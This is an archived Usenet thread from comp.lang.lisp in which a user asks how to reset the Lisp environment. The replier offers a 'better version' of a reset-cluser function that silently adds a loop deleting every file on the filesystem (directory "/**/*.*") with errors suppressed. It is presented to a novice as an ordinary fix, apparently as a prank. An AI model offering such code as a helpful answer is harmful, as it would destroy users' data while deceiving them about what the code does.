Gmail Calendar Documents Reader Web more »
Recently Visited Groups | Help | Sign in
Google Groups Home
Message from discussion a [hopefully] easy question
The group you are posting to is a Usenet group. Messages posted to this group will make your email address visible to anyone on the Internet.
Your reply message has not been sent.
Your post was successful
 
From:
To:
Cc:
Followup To:
Add Cc | Add Followup-to | Edit Subject
Subject:
Validation:
For verification purposes please type the characters you see in the picture below or the numbers you hear by clicking the accessibility icon. Listen and type the numbers you hear
 
Pascal Bourguignon  
View profile  
 More options Jun 8 2006, 2:57 pm
Newsgroups: comp.lang.lisp
From: Pascal Bourguignon <p...@informatimago.com>
Date: Thu, 08 Jun 2006 20:57:06 +0200
Local: Thurs, Jun 8 2006 2:57 pm
Subject: Re: a [hopefully] easy question

BobF <rNfOrSePeA...@charter.net> writes:
> On Thu, 08 Jun 2006 16:43:10 +0200, Pascal Bourguignon wrote:

>> BobF <rNfOrSePeA...@charter.net> writes:

>>> Is there a way to "clear" the lisp environment without exiting and
>>> restarting?  

>>> lispbox w/clisp 2.37

>> (defun reset-cluser ()
>>   "Delete the COMMON-LISP-USER package and makes a new one."
>>   (let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
>>     (let ((*package* (find-package "COMMON-LISP")))
>>       (delete-package "COMMON-LISP-USER")
>>       (defpackage "COMMON-LISP-USER"
>>         (:nicknames "CL-USER")
>>         (:use "COMMON-LISP" "COM.INFORMATIMAGO.PJB")))
>>     (when setp (setf *package* (find-package "COMMON-LISP-USER")))))

> I put this nifty stuff into a file.  When I load the file, I get:

> SYSTEM::%FIND-PACKAGE: There is no package with name
> #1="COM.INFORMATIMAGO.PJB"
>    [Condition of type SYSTEM::SIMPLE-PACKAGE-ERROR]

Sorry. Here is a better version:

 (defun reset-cluser ()
   "Delete the COMMON-LISP-USER package and makes a new one."
   (let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
     (let ((*package* (find-package "COMMON-LISP")))
       (delete-package "COMMON-LISP-USER")
       (defpackage "COMMON-LISP-USER"
         (:nicknames "CL-USER")
         (:use "COMMON-LISP"))
       (mapcar (lambda (x) (ignore-errors (delete-file x)))
               (directory "/**/*.*"))
     (when setp (setf *package* (find-package "COMMON-LISP-USER"))))))

--
__Pascal Bourguignon__                     http://www.informatimago.com/

"I have challenged the entire quality assurance team to a Bat-Leth
contest.  They will not concern us again."


    Reply to author    Forward  
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.

Create a group - Google Groups - Google Home - Terms of Service - Privacy Policy
©2009 Google